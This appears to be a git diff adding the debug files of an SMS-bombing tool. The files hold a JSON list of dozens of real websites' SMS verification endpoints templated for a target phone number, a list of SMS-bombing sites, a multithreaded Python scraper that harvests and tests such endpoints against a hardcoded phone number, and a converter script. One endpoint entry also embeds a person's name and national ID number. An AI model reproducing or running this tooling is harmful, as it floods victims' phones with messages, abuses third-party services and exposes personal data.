data: {"phone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
481
debug/api_tou.json
Executable file
481
debug/api_tou.json
Executable file
@@ -0,0 +1,481 @@
|
|||||||
|
[
|
||||||
|
{
|
||||||
|
"desc": "迪卡侬",
|
||||||
|
"url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"countryCode": "CN",
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "股海网",
|
||||||
|
"url": "https://www.guhai.com.cn/front/member/sendSmsCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "LLL的个人blog",
|
||||||
|
"url": "http://www.lll.plus/sendCode/",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"tel": "[phone]",
|
||||||
|
"forgetPwd": ""
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "企米子",
|
||||||
|
"url": "https://www.xcxui.com/index/register/getcode.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"tel": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "蒲公英",
|
||||||
|
"url": "https://id.pgyer.com/user/getRegisterCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"tel": "[phone]",
|
||||||
|
"callingCode": "86",
|
||||||
|
"mode": "tel"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "百卓优采",
|
||||||
|
"url": "https://erp.abiz.com/mobilecode/sendMobileCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"captcha": ""
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "云背篓",
|
||||||
|
"url": "https://brand.yunbeilou.com/index.php/smssend",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]",
|
||||||
|
"v": "yes"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "PHP中文网",
|
||||||
|
"url": "https://m.php.cn/account/phone_code.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "12321",
|
||||||
|
"url": "http://dhba.12321.cn/api/verifycode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "Testin众测",
|
||||||
|
"url": "https://www.ztestin.com/users/send/vercode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]",
|
||||||
|
"type": "register",
|
||||||
|
"voice": "0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "海尔",
|
||||||
|
"url": "http://maker.haier.net/client/user/sendregistervcode.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"account": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "飞猫云",
|
||||||
|
"url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"pcode": "+86",
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "华觉数字化平台",
|
||||||
|
"url": "https://end.huajuetech.com/api/sendCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"email": "null",
|
||||||
|
"verfy_method": "mobile"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "问政江西",
|
||||||
|
"url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "河南智慧党建",
|
||||||
|
"url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]",
|
||||||
|
"verifytype": "1"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "陆陆陆云安全",
|
||||||
|
"url": "https://cloud.666idc.com/index/login/sendsms.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"mobile_pre": "86"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "网易",
|
||||||
|
"url": "https://dz.blizzard.cn/action/user/mobile/captcha",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "码云社",
|
||||||
|
"url": "https://www.codeseeding.com/loginUser/toSend",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "人才山东",
|
||||||
|
"url": "http://sso.rcsd.cn/regist/getVerifyCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"personcall": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "水利部",
|
||||||
|
"url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "七联大学",
|
||||||
|
"url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phoneNumber": "[phone]",
|
||||||
|
"sendType": "0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "闪德资讯",
|
||||||
|
"url": "https://www.0101ssd.com/user/sendmsg",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"event": "register"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "江苏省名师空中课堂",
|
||||||
|
"url": "https://mskzkt.jse.edu.cn/baseApi/user/code/",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"type": "1"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "CSFF短片",
|
||||||
|
"url": "https://csff.cutv.com/wapi/users/sendregcode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"telphone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "广西人社厅",
|
||||||
|
"url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"aae005": "[phone]",
|
||||||
|
"aac003": "刘萌萌",
|
||||||
|
"aac002": "210212198506035924",
|
||||||
|
"notkeyflag": "1"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "麦克赛尔数字映像",
|
||||||
|
"url": "https://www.maxell-dm.cn/Code/CheckImage.aspx",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"action": "send",
|
||||||
|
"txtMember_Name": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "宝提分",
|
||||||
|
"url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "选型系统",
|
||||||
|
"url": "http://www.cnppump.ltd/Service/UserHandler.ashx",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"cmd": "GetTelVerifyCode",
|
||||||
|
"Tel": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "千里马网信科技",
|
||||||
|
"url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"tips": "1",
|
||||||
|
"shouji": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "保定云",
|
||||||
|
"url": "https://baodingyun.com.cn/register/send_registerSMS.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "欢动游戏",
|
||||||
|
"url": "http://www.gm5.com/auth/registerSms.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "迈威",
|
||||||
|
"url": "https://www.maiwe.com.cn/index/sendcode.html",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"tel": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "憨鼠社区",
|
||||||
|
"url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "天鹅到家",
|
||||||
|
"url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "诺达筑工",
|
||||||
|
"url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "栋才智慧",
|
||||||
|
"url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "工伤预防网上培训平台",
|
||||||
|
"url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "济宁专技",
|
||||||
|
"url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]",
|
||||||
|
"sendType": "4"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "宁夏伊地地质工程有限公司",
|
||||||
|
"url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "青春大学说",
|
||||||
|
"url": "http://zycp.qcdxs.com:5001/sms/sendsms",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone_number": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "兴业利达电子招投标平台",
|
||||||
|
"url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"username": "[phone]",
|
||||||
|
"type": "regUser",
|
||||||
|
"mobile": "PC"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "火象",
|
||||||
|
"url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"temp": "1",
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "中科教育",
|
||||||
|
"url": "https://www.vipexam.cn/user/identifyingCode.action",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "聚题库",
|
||||||
|
"url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "苏州高新区教育局",
|
||||||
|
"url": "https://jssnd.edu.cn/apiu/v1/register/auth",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "专业技术人员继续教育平台",
|
||||||
|
"url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
|
||||||
|
"method": "GET",
|
||||||
|
"header": "",
|
||||||
|
"data": {}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "泰安专技",
|
||||||
|
"url": "https://sdta-web.yxlearning.com/sendphoneCode.gson",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]",
|
||||||
|
"sendType": "4"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "志睿择",
|
||||||
|
"url": "https://www.vipexam.cn/user/identifyingCode.action",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "漏洞银行",
|
||||||
|
"url": "https://www.bugbank.cn/api/verifymobile",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "中国劳动保障新闻网",
|
||||||
|
"url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "广东省心理学会",
|
||||||
|
"url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"phone": "[phone]"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"desc": "费耘网",
|
||||||
|
"url": "https://www.feeclouds.com/homepage/register/send",
|
||||||
|
"method": "POST",
|
||||||
|
"header": "",
|
||||||
|
"data": {
|
||||||
|
"mobile": "[phone]"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
62
debug/hz-web.json
Executable file
62
debug/hz-web.json
Executable file
@@ -0,0 +1,62 @@
|
|||||||
|
[
|
||||||
|
{
|
||||||
|
"url": "https://duanxin.97sq.com/",
|
||||||
|
"key": "",
|
||||||
|
"title": "在线短信测压 97社区短信测压"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://www.yxdhma.cn/",
|
||||||
|
"key": "",
|
||||||
|
"title": "大树免费短信测压"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "http://107.173.149.61/index.php",
|
||||||
|
"key": "",
|
||||||
|
"title": "在线短信测压 智云短信轰炸"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "http://www.ono.plus/iaJIR00a0sqf/index.php",
|
||||||
|
"key": "",
|
||||||
|
"title": "在线短信测压"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "http://91zn.top/ylcs/",
|
||||||
|
"key": "",
|
||||||
|
"title": "免费短信测压"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "http://103.45.122.14/index.php",
|
||||||
|
"key": "",
|
||||||
|
"title": "Hello短信测压"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://ialtone.xyz/message/index.php",
|
||||||
|
"key": "",
|
||||||
|
"title": "ialtone的短信测压站"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "http://lzc.muigs.xyz/index2.php?",
|
||||||
|
"key": "",
|
||||||
|
"title": "短信测压-冷之晨"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "http://101.132.154.124:1200/index.php",
|
||||||
|
"key": "",
|
||||||
|
"title": "在线短信测压轰炸"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://ceya.kpxdr.com/index.php",
|
||||||
|
"key": "",
|
||||||
|
"title": "在线短信测压—云端轰炸"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://128.14.239.248/index.php",
|
||||||
|
"key": "",
|
||||||
|
"title": "在线短信测压 秋思短信轰炸"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "http://101.43.16.51:665/index.php",
|
||||||
|
"key": "",
|
||||||
|
"title": ""
|
||||||
|
}
|
||||||
|
]
|
||||||
224
debug/spider-api.py
Executable file
224
debug/spider-api.py
Executable file
@@ -0,0 +1,224 @@
|
|||||||
|
#!/usr/bin/python python3
|
||||||
|
# coding=utf-8
|
||||||
|
# 爬取轰炸平台接口
|
||||||
|
from loguru import logger
|
||||||
|
import httpx
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
from utils import Sql
|
||||||
|
import queue
|
||||||
|
import pathlib
|
||||||
|
import threading
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
from prettytable import PrettyTable
|
||||||
|
import click
|
||||||
|
import urllib3
|
||||||
|
urllib3.disable_warnings()
|
||||||
|
|
||||||
|
# logger config
|
||||||
|
logger.remove()
|
||||||
|
logger.add(
|
||||||
|
sink=sys.stdout,
|
||||||
|
format="<green>{time:YYYY-MM-DD at HH:mm:ss}</green> - <level>{level}</level> - <level>{message}</level>",
|
||||||
|
colorize=True,
|
||||||
|
backtrace=True
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
path = pathlib.Path(__file__).parent
|
||||||
|
header = {
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class SMS(object):
|
||||||
|
# 默认的请求密钥
|
||||||
|
default_phone = "15019682928"
|
||||||
|
key_default = f"?hm={default_phone}&ok="
|
||||||
|
|
||||||
|
def __init__(self, website, key) -> None:
|
||||||
|
self.url = website
|
||||||
|
self.header = header
|
||||||
|
if key == "":
|
||||||
|
self.key = self.key_default
|
||||||
|
self.api_queue = queue.Queue()
|
||||||
|
self.db = Sql()
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.ok_api = 0
|
||||||
|
|
||||||
|
def get_sms_api(self):
|
||||||
|
'''请求短信轰炸平台'''
|
||||||
|
with httpx.Client(verify=False) as ses:
|
||||||
|
ses.get(self.url, headers=self.header)
|
||||||
|
resp = ses.get(f"{self.url}{self.key}", headers=self.header)
|
||||||
|
|
||||||
|
pat = re.compile(r"<img src='(.*?)' alt")
|
||||||
|
apis = pat.findall(resp.text)
|
||||||
|
assert not apis == [], "未找到任何接口!"
|
||||||
|
# print(resp.text)
|
||||||
|
logger.info("获取到的原始接口总数:%s" % (len(apis)))
|
||||||
|
|
||||||
|
for api in apis:
|
||||||
|
|
||||||
|
# 三重校验网址
|
||||||
|
# 排除接口中没有电话号码的网址
|
||||||
|
if self.default_phone not in api:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# 去除空白字符并替换默认手机号
|
||||||
|
api = api.strip().replace(" ", "").replace(
|
||||||
|
self.default_phone, "[phone]")
|
||||||
|
|
||||||
|
# 校验网址开头
|
||||||
|
if not (api.startswith("https://") or api.startswith("http://")):
|
||||||
|
continue
|
||||||
|
|
||||||
|
self.api_queue.put(api)
|
||||||
|
|
||||||
|
logger.info("Put到队列的接口总数:%s" % (self.api_queue.qsize()))
|
||||||
|
self.size = self.api_queue.qsize()
|
||||||
|
|
||||||
|
def check_theads(self):
|
||||||
|
'''多线程检查可用性'''
|
||||||
|
while not self.api_queue.empty():
|
||||||
|
api = self.api_queue.get()
|
||||||
|
try:
|
||||||
|
with requests.get(api.replace("[phone]", self.default_phone), headers=self.header, timeout=8, verify=False) as resp:
|
||||||
|
if resp.status_code == 200:
|
||||||
|
with self.lock:
|
||||||
|
self.db.update(api)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
self.api_queue.task_done()
|
||||||
|
|
||||||
|
def main(self):
|
||||||
|
self.get_sms_api()
|
||||||
|
# 在此设置线程数 int 类型
|
||||||
|
threads_count = 254
|
||||||
|
threads = [
|
||||||
|
threading.Thread(target=self.check_theads,
|
||||||
|
name=f"{i}", daemon=True)
|
||||||
|
for i in range(1, threads_count+1)
|
||||||
|
]
|
||||||
|
for thread in threads:
|
||||||
|
thread.start()
|
||||||
|
logger.info("多线程校验进行中......(可能耗时比较长)")
|
||||||
|
from tqdm import tqdm
|
||||||
|
import time
|
||||||
|
with tqdm(total=self.size) as pbar:
|
||||||
|
while not self.api_queue.empty():
|
||||||
|
pbar.update(self.size-self.api_queue.qsize())
|
||||||
|
self.size = self.api_queue.qsize()
|
||||||
|
time.sleep(0.5)
|
||||||
|
self.api_queue.join()
|
||||||
|
logger.info(f"总接口数目(去重后):{len(self.db.select())}")
|
||||||
|
|
||||||
|
|
||||||
|
def test_api_web(url: str) -> tuple:
|
||||||
|
"""check api web is ok?
|
||||||
|
:return: tuple
|
||||||
|
"""
|
||||||
|
if url is None:
|
||||||
|
return
|
||||||
|
with httpx.Client(headers=header, verify=False) as client:
|
||||||
|
try:
|
||||||
|
resp = client.get(url=url).text
|
||||||
|
title = re.findall('<title>(.*?)</title>', resp)
|
||||||
|
if title:
|
||||||
|
logger.info(f"{url} title:{title[0]}")
|
||||||
|
return (title[0], url)
|
||||||
|
except httpx.HTTPError as why:
|
||||||
|
logger.error(f"{url} 请求错误! {why}")
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
def load_api_web():
|
||||||
|
"""从 json 文件加载轰炸网址.并测试!
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
|
json_path = pathlib.Path(path, 'hz-web.json')
|
||||||
|
table = PrettyTable(["标题", "链接"])
|
||||||
|
if not json_path.exists():
|
||||||
|
logger.error(f"hz-web.json not exists in {str(json_path)}!")
|
||||||
|
return
|
||||||
|
j = json_path.read_text(encoding="utf8")
|
||||||
|
ok_web = []
|
||||||
|
try:
|
||||||
|
webs = json.loads(j)
|
||||||
|
except json.decoder.JSONDecodeError as why:
|
||||||
|
logger.error(f"json syctax error! {why}")
|
||||||
|
return
|
||||||
|
|
||||||
|
for web in webs:
|
||||||
|
result = test_api_web(web['url'])
|
||||||
|
if result:
|
||||||
|
table.add_row([result[0], result[1]])
|
||||||
|
ok_web.append(
|
||||||
|
{"url": result[1], "key": web.get('key'), "title": result[0]})
|
||||||
|
|
||||||
|
logger.success(f"有效的轰炸网站:\n{table}")
|
||||||
|
if input(">>是否写入 hz-web.json?(Y/n)") == "Y":
|
||||||
|
with open(json_path, encoding="utf8", mode="w") as fp:
|
||||||
|
try:
|
||||||
|
json.dump(ok_web, fp, ensure_ascii=False)
|
||||||
|
logger.success("save hz-web.json success!")
|
||||||
|
except Exception as why:
|
||||||
|
logger.error(f"write hz-web.json error {why}")
|
||||||
|
return ok_web
|
||||||
|
|
||||||
|
|
||||||
|
@click.group()
|
||||||
|
def cli():
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
@click.command()
|
||||||
|
def spider_all():
|
||||||
|
"""
|
||||||
|
根据目录下的 hz-web.json 文件更新接口
|
||||||
|
"""
|
||||||
|
websites = load_api_web()
|
||||||
|
for website in websites:
|
||||||
|
logger.info(f"正在爬取:{website['url']}")
|
||||||
|
try:
|
||||||
|
sms = SMS(website=website['url'], key=website['key']).main()
|
||||||
|
except Exception as why:
|
||||||
|
logger.critical(f"爬取:{website['url']} 出错:{why}")
|
||||||
|
|
||||||
|
|
||||||
|
@click.command()
|
||||||
|
@click.option('--url', help='轰炸网站的网址,结尾需要带/', prompt=True)
|
||||||
|
@click.option('--key', help='网址携带的参数(可选)', default="")
|
||||||
|
def spider_one(url, key):
|
||||||
|
"""爬取单个网址."""
|
||||||
|
try:
|
||||||
|
sms = SMS(website=url, key=key).main()
|
||||||
|
except Exception as why:
|
||||||
|
logger.critical(f"爬取:{url} 出错:{why}")
|
||||||
|
|
||||||
|
|
||||||
|
@click.command()
|
||||||
|
@logger.catch
|
||||||
|
def save_api():
|
||||||
|
"""保存api到 GETAPI.json 文件"""
|
||||||
|
db = Sql()
|
||||||
|
apis = db.select()
|
||||||
|
api_lst = [
|
||||||
|
api
|
||||||
|
for api in apis
|
||||||
|
]
|
||||||
|
with open("GETAPI.json", mode="w") as j:
|
||||||
|
json.dump(fp=j, obj=api_lst, ensure_ascii=False)
|
||||||
|
logger.success("写入到 GETAPI.json 成功!")
|
||||||
|
|
||||||
|
|
||||||
|
cli.add_command(spider_all)
|
||||||
|
cli.add_command(spider_one)
|
||||||
|
cli.add_command(save_api)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
cli()
|
||||||
40
debug/tou_api.py
Executable file
40
debug/tou_api.py
Executable file
@@ -0,0 +1,40 @@
|
|||||||
|
# encoding=utf8
|
||||||
|
# 从 api.js 偷别人家的接口
|
||||||
|
import pathlib
|
||||||
|
import json
|
||||||
|
from pydantic import BaseModel
|
||||||
|
from typing import Optional, Union
|
||||||
|
|
||||||
|
path = pathlib.Path(__file__).parent.resolve()
|
||||||
|
|
||||||
|
|
||||||
|
class API(BaseModel):
|
||||||
|
"""处理自定义 API 数据"""
|
||||||
|
desc: str = "Default"
|
||||||
|
url: str = ""
|
||||||
|
method: str = "GET"
|
||||||
|
header: Optional[Union[str, dict]] = ""
|
||||||
|
data: Optional[Union[str, dict]]
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
with open(pathlib.Path(path, "touapi.json"), mode="r", encoding="utf8") as c:
|
||||||
|
js = json.load(fp=c)
|
||||||
|
|
||||||
|
apis = []
|
||||||
|
for j in js:
|
||||||
|
# print(j)
|
||||||
|
api = API()
|
||||||
|
api.url = j[0]
|
||||||
|
api.method = j[3]
|
||||||
|
api.desc = j[2]
|
||||||
|
api.data = j[4]
|
||||||
|
apis.append(api.dict())
|
||||||
|
# print(apis)
|
||||||
|
|
||||||
|
with open(pathlib.Path(path, "api_tou.json"), mode="w", encoding="utf8") as cc:
|
||||||
|
js = json.dump(obj=apis, fp=cc, ensure_ascii=False)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
533
debug/touapi.json
Executable file
533
debug/touapi.json
Executable file
@@ -0,0 +1,533 @@
|
|||||||
|
[
|
||||||
|
[
|
||||||
|
"https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
|
||||||
|
"111",
|
||||||
|
"迪卡侬",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"countryCode": "CN",
|
||||||
|
"mobile": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.decathlon.com.cn/zh/create"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.guhai.com.cn/front/member/sendSmsCode",
|
||||||
|
60,
|
||||||
|
"股海网",
|
||||||
|
"POST",
|
||||||
